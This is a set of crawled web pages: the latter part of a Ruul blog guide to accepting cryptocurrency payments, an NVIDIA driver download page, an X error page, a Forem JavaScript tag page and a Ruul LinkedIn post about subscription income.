security aspects, transaction fees and supported cryptocurrencies. Always make sure that you are picking a reliable and secure provider. 3. Create your account Once you have selected your payment gateway, register yourself there. You may need to mention some business details for initial registration. 4. Select the crypto As already said, there are almost 9000 cryptocurrencies in the market. However, not all have worldwide acceptance. So, it’s better to be careful while choosing your cryptocurrency keeping in mind market preferences and popularity. Also, you need to see whether the cryptocurrency aligns with your business needs and values. Some of the popular cryptocurrencies include Bitcoin, Ethereum, Ripple, Binance, Tether and Solana. 5. Integrate the payment gateway Now, your gateway provider will instruct you to integrate the gateway software with your checkout page. The integration also depends on which platform you are using the gateway (in-store, website or mobile app). The instruction steps are available in APIs or plugins. 6. Test the transaction Before you go live, verify everything through a test transaction. Check if the payments are converted into fiat currencies and deposited in your accounts. 7. Create a payment policy Lastly, make sure to create a comprehensive policy detailing clauses for returns, refunds and volatility in cryptocurrency. Tips for Smooth Transactions If you know the small tips and tricks of crypto transactions, accepting payments becomes a lot easier. Here are some tips that help you execute crypto transactions smoothly. Be a part of the reputed crypto community so that you can share your experiences and learn from them. Grab the opportunity of crypto presales. If you invest early, you get better returns. Joining a crypto signal group helps you know trade setups and recommendations from worldwide traders. It is always good to practice payments on a demo account to understand the nitty-gritty of trading. Global events and changing economic trends influence crypto markets. So, keep an eye out for them. Before starting crypto payments, make yourself comfortable with the technology to make informed decisions. Utilizing trading bots is also a good idea as they always process transactions based on pre-set rules, reducing the chances of human error. Make a clear trading strategy and stick to it as closely as possible. Security Considerations in Crypto Payments Crypto security is of paramount importance when it comes to accepting crypto payments. So, let’s discuss some key security considerations to ensure safe transactions. There is a private key that allows you to access funds. Make sure that you create a strong and difficult key and always keep that key offline. Never put it on the internet. If possible, diversify your wallet by maintaining multiple wallets to store funds. Research is essential when it comes to crypto payments. Choose a reputed crypto exchange based on its security measures, past record and transparency in practices. If you forget your password or lose seed phrases, you can lose your funds permanently. Keep your wallet devices and software safe and secure. Always verify the receiver's address before sending or receiving cryptocurrency. Mistakenly done transactions are irreversible. Try to keep a backup of your wallet data to avoid data loss. Beware of fraudulent websites. Keep yourself updated with the news and changing practices of the crypto world. Avoid entering your wallet through public Wi-Fi. Legal and Tax Implications You must know that while cryptos are not considered legal tender by the US government, crypto transactions are treated as valid. Although regulations considering crypto exchange also vary state by state, by and large transactions of cryptocurrency are considered legal. The IRS considers crypto transactions to be an exchange of value. These exchanges are thus taxed as well. If you accept cryptocurrency as a payment in the course of your business, then it will attract taxes just like any other business income. You have to report such business income, earned in the form of cryptocurrency, to the IRS. As per federal regulations, cryptocurrency is similar to property. If you have a cryptocurrency and you hold it for some period and its value gets appreciated, then you have to pay capital gain tax on increased value as well. The rate of tax will depend on the holding period and your overall taxable income. Simply put, if you earn any further gain or profit from the cryptocurrency, it is taxable. You have to report your cryptocurrency transactions in Form 1040. If you don’t report them in time, you may be fined and sometimes slapped with criminal charges. In the near future, we can expect a comprehensive regulatory framework from the US government that considers cryptos. In Conclusion Accepting crypto payments opens doors for you to connect to a larger and more tech-savvy customer base. Follow this guide to set up your payment gateway and make your business ready to flourish in this digital economy. But remember, keep yourself updated with the changing rules and regulations for a complaint payment practice. ABOUT THE AUTHOR Aypar Yılmazkaya Aypar Yılmazkaya is a product-oriented engineering manager with over a decade of experience. Leading technology and product teams, he brings successful projects to life. His areas of expertise include artificial intelligence and team management. More Freelance Tax Rates in Turkey in 2025 As a freelancer, be informed about the latest and basic tax rates in Turkey for 2024! Keep reading and stay informed. Read more What is Upwork Plus Subscription? How to Benefit? Upwork Plus offers premium tools to boost your freelance career—read on for everything you need to know! Read more Best Places to Live for Digital Nomads Ready to find your next home as a digital nomad? Read on for the best cities offering the perfect mix of lifestyle and work essentials. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.nvidia.com/download/index.aspx	Download The Official NVIDIA Drivers \| NVIDIA NVIDIA Home NVIDIA Home Menu Menu icon Menu Menu icon Close Close icon Close Close icon Close Close icon Caret down icon Accordion is closed, click to open. Caret down icon Accordion is closed, click to open. Caret up icon Accordion is open, click to close. Caret right icon Click to expand Caret right icon Click to expand Caret right icon Click to expand menu. Caret left icon Click to collapse menu. Caret left icon Click to collapse menu. Caret left icon Click to collapse menu. Shopping Cart Click to see cart items Search icon Click to search Visit your regional NVIDIA website for local content, pricing, and where to buy partners specific to your country. Argentina Australia België (Belgium) Belgique (Belgium) Brasil (Brazil) Canada Česká Republika (Czech Republic) Chile Colombia Danmark (Denmark) Deutschland (Germany) España (Spain) France India Italia (Italy) México (Mexico) Middle East Nederland (Netherlands) Norge (Norway) Österreich (Austria) Peru Polska (Poland) Rest of Europe România (Romania) Singapore Suomi (Finland) Sverige (Sweden) Türkiye (Turkey) United Kingdom United States 대한민국 (South Korea) 中国大陆 (Mainland China) 台灣 (Taiwan) 日本 (Japan) Continue Skip to main content Artificial Intelligence Computing Leadership from NVIDIA Main Menu Products Cloud Services Data Center Embedded Systems Gaming and Creating Graphics Cards and GPUs Laptops Networking Professional Workstations Software Tools Cloud Services BioNeMo AI-driven platform for life sciences research and discovery DGX Cloud Fully managed end-to-end AI platform on leading clouds NVIDIA APIs Explore, test, and deploy AI models and agents Omniverse Cloud Integrate advanced simulation and AI into complex 3D workflows Private Registry Guide for using NVIDIA NGC private registry with GPU cloud NVIDIA NGC Accelerated, containerized AI models and SDKs Data Center Overview Modernizing data centers with AI and accelerated computing DGX Platform Enterprise AI factory for model development and deployment Grace CPU Architecture for data centers that transform data into intelligence HGX Platform A supercomputer purpose-built for AI and HPC IGX Platform Advanced functional safety and security for edge AI MGX Platform Accelerated computing with modular servers OVX Systems Scalable data center infrastructure for high-performance AI Embedded Systems Jetson Leading platform for autonomous machines and embedded applications DRIVE AGX Powerful in-vehicle computing for AI-driven autonomous vehicle systems Clara AGX AI-powered computing for innovative medical devices and imaging Gaming and Creating GeForce Explore graphics cards, gaming solutions, AI technology, and more GeForce Graphics Cards RTX graphics cards bring game-changing AI capabilities Gaming Laptops Thinnest and longest lasting RTX laptops, optimized by Max-Q G-SYNC Monitors Smooth, tear-free gaming with NVIDIA G-SYNC monitors DLSS Neural rendering tech boosts FPS and enhances image quality Reflex Ultimate responsiveness for faster reactions and better aim RTX AI PCs AI PCs for gaming, creating, productivity and development NVIDIA Studio High performance laptops and desktops, purpose-built for creators GeForce NOW Cloud Gaming RTX-powered cloud gaming. Choose from 3 memberships NVIDIA App Optimize gaming, streaming, and AI-powered creativity NVIDIA Broadcast App AI-enhanced voice and video for next-level streams, videos, and calls SHIELD TV World-class streaming media performance Graphics Cards and GPUs Blackwell Architecture The engine of the new industrial revolution Hopper Architecture High performance, scalability, and security for every data center Ada Lovelace Architecture Performance and energy efficiency for endless possibilities GeForce Graphics Cards RTX graphics cards bring game-changing AI capabilities NVIDIA RTX PRO Accelerating professional AI, graphics, rendering and compute workloads Virtual GPU Virtual solutions for scalable, high-performance computing Laptops GeForce Laptops GPU-powered laptops for gamers and creators Studio Laptops High performance laptops purpose-built for creators NVIDIA RTX PRO Laptops Accelerate professional AI and visual computing from anywhere Networking Overview Accelerated networks for modern workloads DPUs and SuperNICs Software-defined hardware accelerators for networking, storage, and security Ethernet Ethernet performance, availability, and ease of use across a wide range of applications InfiniBand High-performance networking for super computers, AI, and cloud data centers Networking Software Networking software for optimized performance and scalability Network Acceleration IO subsystem for modern, GPU-accelerated data centers Professional Workstations Overview Accelerating professional AI, graphics, rendering, and compute workloads DGX Spark A Grace Blackwell AI Supercomputer on your desk DGX Station The ultimate desktop AI supercomputer powered by NVIDIA Grace Blackwell NVIDIA RTX PRO AI Workstations Accelerate innovation and productivity in AI workflows NVIDIA RTX PRO Desktops Powerful AI, graphics, rendering, and compute workloads NVIDIA RTX PRO Laptops Accelerate professional AI and visual computing from anywhere Software Agentic AI Models - Nemotron AI Agents - NeMo AI Blueprints AI Inference - Dynamo AI Inference - NIM AI Microservices - CUDA-X Automotive - DRIVE Data Science - Apache Spark Data Science - RAPIDS Decision Optimization - cuOpt Healthcare - Clara Industrial AI - Omniverse Intelligent Video Analytics - Metropolis NVIDIA AI Enterprise NVIDIA Mission Control NVIDIA Run:ai Physical AI - Cosmos Robotics - Isaac Telecommunications - Aerial See All Software Tools AI Workbench Simplify AI development with NVIDIA AI Workbench on GPUs API Catalog Explore NVIDIA's AI models, blueprints, and tools for developers Data Center Management AI and HPC software solutions for data center acceleration GPU Monitoring Monitor and manage GPU performance in cluster environments Nsight Explore NVIDIA developer tools for AI, graphics, and HPC NGC Catalog Discover GPU-optimized AI, HPC, and data science software NVIDIA App for Laptops Optimize enterprise GPU management NVIDIA NGC Accelerate AI and HPC workloads with NVIDIA GPU Cloud solutions Desktop Manager Enhance multi-display productivity with NVIDIA RTX Desktop Manager RTX Accelerated Creative Apps Creative tools and AI-powered apps for artists and designers Video Conferencing AI-powered audio and video enhancement Solutions Artificial Intelligence Cloud and Data Center Design and Simulation High-Performance Computing Robotics and Edge AI Autonomous Vehicles Artificial Intelligence Overview Add intelligence and efficiency to your business with AI and machine learning Agentic AI Build AI agents designed to reason, plan, and act AI Data Powering a new class of enterprise infrastructure for AI Conversational AI Enables natural, personalized interactions with real-time speech AI Cybersecurity AI-driven solutions to strengthen cybersecurity and AI infrastructure Data Science Iterate on large datasets, deploy models more frequently, and lower total cost Inference Drive breakthrough performance with AI-enabled applications and services Cloud and Data Center Overview Powering AI, HPC, and modern workloads with NVIDIA AI Data Platform for Enterprise Bringing enterprise storage into the era of agentic AI AI Factory Full-stack infrastructure for scalable AI workloads Accelerated Computing Accelerated computing uses specialized hardware to boost IT performance Cloud Computing On-demand IT resources and services, enabling scalability and intelligent insights Colocation Accelerate the scaling of AI across your organization Networking High speed ethernet interconnect solutions and services Sustainable Computing Save energy and lower cost with AI and accelerated computing Virtualization NVIDIA virtual GPU software delivers powerful GPU performance Design and Simulation Overview Streamline building, operating, and connecting metaverse apps Computer Aided-Engineering Develop real-time interactive design using AI-accelerated real-time digital twins Digital Twin Development Harness the power of large-scale, physically-based OpenUSD simulation Rendering Bring state-of-the-art rendering to professional workflows Robotic Simulation Innovative solutions to take on your robotics, edge, and vision AI challenges Scientific Visualization Enablies researchers to visualize their large datasets at interactive speeds Vehicle Simulation AI-defined vehicles are transforming the future of mobility Extended Reality Transform workflows with immersive, scalable interactions in virtual environments High-Performance Computing Overview Discover NVIDIA’s HPC solutions for AI, simulation, and accelerated computing HPC and AI Boost accuracy with GPU-accelerating HPC and AI Scientific Visualization Enables researchers to visualize large datasets at interactive speeds Simulation and Modeling Accelerate simulation workloads Quantum Computing Fast-tracking the advancement of scientific innovations with QPUs Robotics and Edge AI Overview Innovative solutions to take on robotics, edge, and vision AI challenges Robotics GPU-accelerated advances in AI perception, simulation, and software Edge AI Bring the power of NVIDIA AI to the edge for real-time decision-making solutions Vision AI Transform data into valuable insights using vision AI Autonomous Vehicles Overview AI-enhanced vehicles are transforming the future of mobility Open Source AV Models and Tools For reasoning-based AV systems AV Simulation Explore high-fidelity sensor simulation for safe autonomous vehicle development Reference Architecture Enables vehicles to be L4-ready Infrastructure Essential data center tools for safe autonomous vehicle development In-Vehicle Computing Develop automated driving functions and immersive in-cabin experiences Safety State-of-the-art system for AV safety, from the cloud to the car Industries Industries Overview Architecture, Engineering, Construction & Operations Automotive Cybersecurity Energy Financial Services Healthcare and Life Sciences Higher Education Game Development Global Public Sector Manufacturing Media and Entertainment US Public Sector Restaurants Retail and CPG Robotics Smart Cities Supercomputing Telecommunications Shop Drivers Support US Sign In NVIDIA Account NVIDIA Store Account Logout Log In LogOut Skip to main content Artificial Intelligence Computing Leadership from NVIDIA 0 US Sign In NVIDIA Account NVIDIA Store Account Logout Login LogOut NVIDIA NVIDIA logo Products Cloud Services BioNeMo AI-driven platform for life sciences research and discovery DGX Cloud Fully managed end-to-end AI platform on leading clouds NVIDIA APIs Explore, test, and deploy AI models and agents Omniverse Cloud Integrate advanced simulation and AI into complex 3D workflows Private Registry Guide for using NVIDIA NGC private registry with GPU cloud NVIDIA NGC Accelerated, containerized AI models and SDKs Data Center Overview Modernizing data centers with AI and accelerated computing DGX Platform Enterprise AI factory for model development and deployment Grace CPU Architecture for data centers that transform data into intelligence HGX Platform A supercomputer purpose-built for AI and HPC IGX Platform Advanced functional safety and security for edge AI MGX Platform Accelerated computing with modular servers OVX Systems Scalable data center infrastructure for high-performance AI Embedded Systems Jetson Leading platform for autonomous machines and embedded applications DRIVE AGX Powerful in-vehicle computing for AI-driven autonomous vehicle systems Clara AGX AI-powered computing for innovative medical devices and imaging Gaming and Creating GeForce Explore graphics cards, gaming solutions, AI technology, and more GeForce Graphics Cards RTX graphics cards bring game-changing AI capabilities Gaming Laptops Thinnest and longest lasting RTX laptops, optimized by Max-Q G-SYNC Monitors Smooth, tear-free gaming with NVIDIA G-SYNC monitors DLSS Neural rendering tech boosts FPS and enhances image quality Reflex Ultimate responsiveness for faster reactions and better aim RTX AI PCs AI PCs for gaming, creating, productivity and development NVIDIA Studio High performance laptops and desktops, purpose-built for creators GeForce NOW Cloud Gaming RTX-powered cloud gaming. Choose from 3 memberships NVIDIA App Optimize gaming, streaming, and AI-powered creativity NVIDIA Broadcast App AI-enhanced voice and video for next-level streams, videos, and calls SHIELD TV World-class streaming media performance Graphics Cards and GPUs Blackwell Architecture The engine of the new industrial revolution Hopper Architecture High performance, scalability, and security for every data center Ada Lovelace Architecture Performance and energy efficiency for endless possibilities GeForce Graphics Cards RTX graphics cards bring game-changing AI capabilities NVIDIA RTX PRO Accelerating professional AI, graphics, rendering and compute workloads Virtual GPU Virtual solutions for scalable, high-performance computing Laptops GeForce Laptops GPU-powered laptops for gamers and creators Studio Laptops High performance laptops purpose-built for creators NVIDIA RTX PRO Laptops Accelerate professional AI and visual computing from anywhere Networking Overview Accelerated networks for modern workloads DPUs and SuperNICs Software-defined hardware accelerators for networking, storage, and security Ethernet Ethernet performance, availability, and ease of use across a wide range of applications InfiniBand High-performance networking for super computers, AI, and cloud data centers Networking Software Networking software for optimized performance and scalability Network Acceleration IO subsystem for modern, GPU-accelerated data centers Professional Workstations Overview Accelerating professional AI, graphics, rendering, and compute workloads DGX Spark A Grace Blackwell AI Supercomputer on your desk DGX Station The ultimate desktop AI supercomputer powered by NVIDIA Grace Blackwell NVIDIA RTX PRO AI Workstations Accelerate innovation and productivity in AI workflows NVIDIA RTX PRO Desktops Powerful AI, graphics, rendering, and compute workloads NVIDIA RTX PRO Laptops Accelerate professional AI and visual computing from anywhere Software Agentic AI Models - Nemotron AI Agents - NeMo AI Blueprints AI Inference - Dynamo AI Inference - NIM AI Microservices - CUDA-X Automotive - DRIVE Data Science - Apache Spark Data Science - RAPIDS Decision Optimization - cuOpt Healthcare - Clara Industrial AI - Omniverse Intelligent Video Analytics - Metropolis NVIDIA AI Enterprise NVIDIA Mission Control NVIDIA Run:ai Physical AI - Cosmos Robotics - Isaac Telecommunications - Aerial See All Software Tools AI Workbench Simplify AI development with NVIDIA AI Workbench on GPUs API Catalog Explore NVIDIA's AI models, blueprints, and tools for developers Data Center Management AI and HPC software solutions for data center acceleration GPU Monitoring Monitor and manage GPU performance in cluster environments Nsight Explore NVIDIA developer tools for AI, graphics, and HPC NGC Catalog Discover GPU-optimized AI, HPC, and data science software NVIDIA App for Laptops Optimize enterprise GPU management NVIDIA NGC Accelerate AI and HPC workloads with NVIDIA GPU Cloud solutions Desktop Manager Enhance multi-display productivity with NVIDIA RTX Desktop Manager RTX Accelerated Creative Apps Creative tools and AI-powered apps for artists and designers Video Conferencing AI-powered audio and video enhancement Solutions Artificial Intelligence Overview Add intelligence and efficiency to your business with AI and machine learning Agentic AI Build AI agents designed to reason, plan, and act AI Data Powering a new class of enterprise infrastructure for AI Conversational AI Enables natural, personalized interactions with real-time speech AI Cybersecurity AI-driven solutions to strengthen cybersecurity and AI infrastructure Data Science Iterate on large datasets, deploy models more frequently, and lower total cost Inference Drive breakthrough performance with AI-enabled applications and services Cloud and Data Center Overview Powering AI, HPC, and modern workloads with NVIDIA AI Data Platform for Enterprise Bringing enterprise storage into the era of agentic AI AI Factory Full-stack infrastructure for scalable AI workloads Accelerated Computing Accelerated computing uses specialized hardware to boost IT performance Cloud Computing On-demand IT resources and services, enabling scalability and intelligent insights Colocation Accelerate the scaling of AI across your organization Networking High speed ethernet interconnect solutions and services Sustainable Computing Save energy and lower cost with AI and accelerated computing Virtualization NVIDIA virtual GPU software delivers powerful GPU performance Design and Simulation Overview Streamline building, operating, and connecting metaverse apps Computer Aided-Engineering Develop real-time interactive design using AI-accelerated real-time digital twins Digital Twin Development Harness the power of large-scale, physically-based OpenUSD simulation Rendering Bring state-of-the-art rendering to professional workflows Robotic Simulation Innovative solutions to take on your robotics, edge, and vision AI challenges Scientific Visualization Enablies researchers to visualize their large datasets at interactive speeds Vehicle Simulation AI-defined vehicles are transforming the future of mobility Extended Reality Transform workflows with immersive, scalable interactions in virtual environments High-Performance Computing Overview Discover NVIDIA’s HPC solutions for AI, simulation, and accelerated computing HPC and AI Boost accuracy with GPU-accelerating HPC and AI Scientific Visualization Enables researchers to visualize large datasets at interactive speeds Simulation and Modeling Accelerate simulation workloads Quantum Computing Fast-tracking the advancement of scientific innovations with QPUs Robotics and Edge AI Overview Innovative solutions to take on robotics, edge, and vision AI challenges Robotics GPU-accelerated advances in AI perception, simulation, and software Edge AI Bring the power of NVIDIA AI to the edge for real-time decision-making solutions Vision AI Transform data into valuable insights using vision AI Autonomous Vehicles Overview AI-enhanced vehicles are transforming the future of mobility Open Source AV Models and Tools For reasoning-based AV systems AV Simulation Explore high-fidelity sensor simulation for safe autonomous vehicle development Reference Architecture Enables vehicles to be L4-ready Infrastructure Essential data center tools for safe autonomous vehicle development In-Vehicle Computing Develop automated driving functions and immersive in-cabin experiences Safety State-of-the-art system for AV safety, from the cloud to the car Industries Overview Architecture, Engineering, Construction & Operations Automotive Cybersecurity Energy Financial Services Healthcare and Life Sciences Higher Education Game Development Global Public Sector Manufacturing Media and Entertainment US Public Sector Restaurants Retail and CPG Robotics Smart Cities Supercomputing Telecommunications Shop Drivers Support Drivers All Drivers GeForce Drivers Networking Drivers Firmware Download InfiniBand/VPI Drivers Ethernet Drivers All Drivers GeForce Drivers Networking Drivers Firmware Download InfiniBand/VPI Drivers Ethernet Drivers --> All Drivers GeForce Drivers Networking Drivers Networking Drivers Firmware Download InfiniBand/VPI Drivers Ethernet Drivers This site requires Javascript in order to view all its content. Please enable Javascript in order to access all the functionality of this web site. Here are the instructions how to enable JavaScript in your web browser. NVIDIA Drivers Note for Linux Drivers Many Linux distributions provide their own packages of the NVIDIA Linux Graphics Driver in the distribution's native package management format. This may interact better with the rest of your distribution's framework, and you may want to use this rather than NVIDIA's official package. Get Automatic Driver Updates The NVIDIA App is the essential companion for PC gamers and creators. Keep your PC up to date with the latest NVIDIA drivers and technology. Best for: Gamers and Creators --> Gamers / Creators Best for: Professionals / Workstation Users --> Professionals / Workstation Users Latest Driver Downloads Latest Driver Downloads driver-popular-download-grd-name Best for:   Gamers Details Driver Name: ~ddName_td~ Driver Version: ~ddVersion_td~ Release Date: ~ddReleaseDate_td~ Operating System: ~ddOperatingSystem_td~ Language: ~ddLanguage_td~ File Size: ~ddFileSize_td~ Download driver-popular-download-nsd-name Best for:   Creatives Details Driver Name: ~ddName_td~ Driver Version: ~ddVersion_td~ Release Date: ~ddReleaseDate_td~ Operating System: ~ddOperatingSystem_td~ Language: ~ddLanguage_td~ File Size: ~ddFileSize_td~ Download driver-popular-download-nrtx-name Best for:   Workstation Users Details Driver Name: ~ddName_td~ Driver Version: ~ddVersion_td~ Release Date: ~ddReleaseDate_td~ Operating System: ~ddOperatingSystem_td~ Language: ~ddLanguage_td~ File Size: ~ddFileSize_td~ Download Manual Driver Search Product Type: Select Product Category dflt TITAN Product Series: Select Product Series dflt GeForce MX100 Series (Notebook) Product: Select Product GeForce MX150 Operating System: dflt Windows 10 32-bit Language: dflt English (US) Windows Driver Type: DCH Standard --> Download Type: All Game Ready Driver Studio Driver Find DriversPOC --> No Drivers Found. Please select a different combination. --> Linux Drivers Unix Driver Archive Note:  Many Linux distributions provide their own packages of the NVIDIA Linux Graphics Driver in the distribution's native package management format. This may interact better with the rest of your distribution's framework, and you may want to use this rather than NVIDIA's official package. Additional Drivers NVIDIA CUDA Drivers for Mac Quadro Advanced Options(Quadro View, NVWMI, etc.) NVIDIA Physx System Software NVIDIA Quadro Sync and Quadro Sync II Firmware HGX Software News & Recommendations Games \| News GeForce News from CES 2026 DLSS 4.5, G-SYNC Pulsar, Remix, GeForce NOW, RTX AI, and more. Games \| News Introducing DLSS 4.5 Enhanced Super Resolution. Dynamic Multi Frame Gen. Powered by AI. Games \| News New DLSS Games New games and reveals at CES. Artificial Intelligence \| News CES 2026: NVIDIA Boosts AI Performance on RTX GPUs New upgrades unlock faster, smarter video, image, and text generation on RTX AI PCs - across ComfyUI, LTX-2, Llama.cpp, Ollama, Hyperlink, and more. Download Download Download NVIDIA Virtual GPU Customers Enterprise customers with a current Virtual GPU (vGPU) software license (NVIDIA vPC, NVIDIA vApps or NVIDIA RTX Virtual Workstation (vWS), can log into the enterprise software download portal by clicking below. Need more information about how to access your purchased licenses?  vGPU Software Downloads Details . Login Linux Drivers Unix Driver Archive Note:  Many Linux distributions provide their own packages of the NVIDIA Linux Graphics Driver in the distribution's native package management format. This may interact better with the rest of your distribution's framework, and you may want to use this rather than NVIDIA's official package. Additional Drivers NVIDIA CUDA Drivers for Mac Quadro Advanced Options(Quadro View, NVWMI, etc.) NVIDIA Physx System Software NVIDIA Quadro Sync and Quadro Sync II Firmware HGX Software NVIDIA Virtual GPU Customers Enterprise customers with a current Virtual GPU (vGPU) software license (NVIDIA vPC, NVIDIA vApps or NVIDIA RTX Virtual Workstation (vWS), can log into the enterprise software download portal by clicking below. Need more information about how to access your purchased licenses?  vGPU Software Downloads Details . NVIDIA Virtual GPU Customers Enterprise customers with a current Virtual GPU (vGPU) software license (NVIDIA vPC, NVIDIA vApps or NVIDIA RTX Virtual Workstation (vWS), can log into the enterprise software download portal by clicking below. Need more information about how to access your purchased licenses?  vGPU Software Downloads Details . Download Type Production Branch/Studio Most users select this choice for optimal stability and performance. The NVIDIA RTX Enterprise Production Branch driver is a rebrand of the Quadro Optimal Driver for Enterprise (ODE). It offers the same ISV certification, long life-cycle support, regular security updates, and access to the same functionality as prior Quadro ODE drivers and corresponding Studio Drivers (i.e., of the same driver version number). New Feature Branch (NFB)/Quadro New Feature (QNF) Users occasionally select this choice for access to new features, bug fixes, new operating system support, and other driver enhancements offered between Production Branch releases. Support duration for New Feature Branches is shorter than that for Production Branches. Download Type "All"  Shows all available driver options for the selected product. "Game Ready Drivers" provide the best possible gaming experience for all major games. NVIDIA's driver team exhaustively tests games from early access through release of each DLC to optimize for performance, stability, and functionality. These drivers are certified by Microsoft’s Windows Hardware Quality Labs (WHQL). "NFB / SLB" New Feature Branch (NFB) [formerly known as Linux Short Lived Branch (SLB)] New Feature Branch Linux drivers provide early adopters and bleeding edge developers access to the latest driver features before they are integrated into the Production Branches. Product Category See our article to identify what type of graphics card model you have. Read more about the difference between NVIDIA RTX, NVIDIA GeForce, and NVIDIA Quadro . Download Type "All"  Shows all available driver options for the selected product. "Game Ready Drivers" provide the best possible gaming experience for all major games. NVIDIA's driver team exhaustively tests games from early access through release of each DLC to optimize for performance, stability, and functionality. These drivers are certified by Microsoft’s Windows Hardware Quality Labs (WHQL). "Studio Drivers"  provide the best possible experience for key creative applications. NVIDIA does extensive testing across the top creative applications to ensure the highest levels of performance, stability, and functionality. These drivers are certified by Microsoft’s Windows Hardware Quality Labs (WHQL). Company Information About Us Company Overview Investors Venture Capital (NVentures) NVIDIA Foundation Research Corporate Sustainability Technologies Careers News and Events Newsroom Company Blog Technical Blog Webinars Stay Informed Events Calendar GTC AI Conference NVIDIA On-Demand Popular Links Developers Partners Executive Insights Startups and VCs NVIDIA Connect for ISVs Documentation Technical Training Professional Services for Data Science Follow NVIDIA ' title=' '> ' title=' '> NVIDIA United States Privacy Policy Your Privacy Choices Terms of Service Accessibility Corporate Policies Product Security Contact Copyright © 2026 NVIDIA Corporation	2026-01-13T08:47:55
https://x.com/mertoyagami	JavaScript is not available. We’ve detected that JavaScript is disabled in this browser. Please enable JavaScript or switch to a supported browser to continue using x.com. You can see a list of supported browsers in our Help Center. Help Center Terms of Service Privacy Policy Cookie Policy Imprint Ads info © 2026 X Corp. Something went wrong, but don’t fret — let’s give it another shot. Try again Some privacy related extensions may cause issues on x.com. Please disable them and try again.	2026-01-13T08:47:55
https://core.forem.com/t/javascript	JavaScript - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close JavaScript Follow Hide Once relegated to the browser as one of the 3 core technologies of the web, JavaScript can now be found almost anywhere you find code. JavaScript developers move fast and push software development forward; they can be as opinionated as the frameworks they use, so let's keep it clean here and make it a place to learn from each other! Create Post submission guidelines Client-side, server-side, it doesn't matter. This tag should be used for anything JavaScript focused. If the topic is about a JavaScript framework or library , just remember to include the framework's tag as well. about #javascript How should the tag be written? All lower-case letters for the tag: javascript . Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu October 2025 Forem Core Update: Hacktoberfest Momentum, PR Cleanups, and Self-Hosting Tweaks Om Shree Om Shree Om Shree Follow Oct 12 '25 October 2025 Forem Core Update: Hacktoberfest Momentum, PR Cleanups, and Self-Hosting Tweaks # productivity # security # performance # javascript 20 reactions Comments 1 comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://www.linkedin.com/posts/ruul_what-if-your-work-earned-on-repeat-instead-activity-7397648971847860225-CMx4	What if your work earned on repeat instead of gig-to-gig? \| Ruul Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Join for free Ruul’s Post Ruul 7,110 followers 1mo Report this post Subscription-based services create predictable, long-term income, and they’re easier to set up than most people think. A simple structure works best: • 3 pricing tiers • clear monthly value • easy onboarding Ruul Space turns this into a smooth experience for both sides. Set up your service, offer monthly access, and let the system handle the admin. Steady revenue, loyal clients, zero hassle. More to read on: https://lnkd.in/dbztcmDD #subscriptions #creatoreconomy #freelancebusiness #ruul 5 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in 7,110 followers View Profile Connect Explore content categories Career Productivity Finance Soft Skills & Emotional Intelligence Project Management Education Technology Leadership Ecommerce User Experience Show more Show less LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright 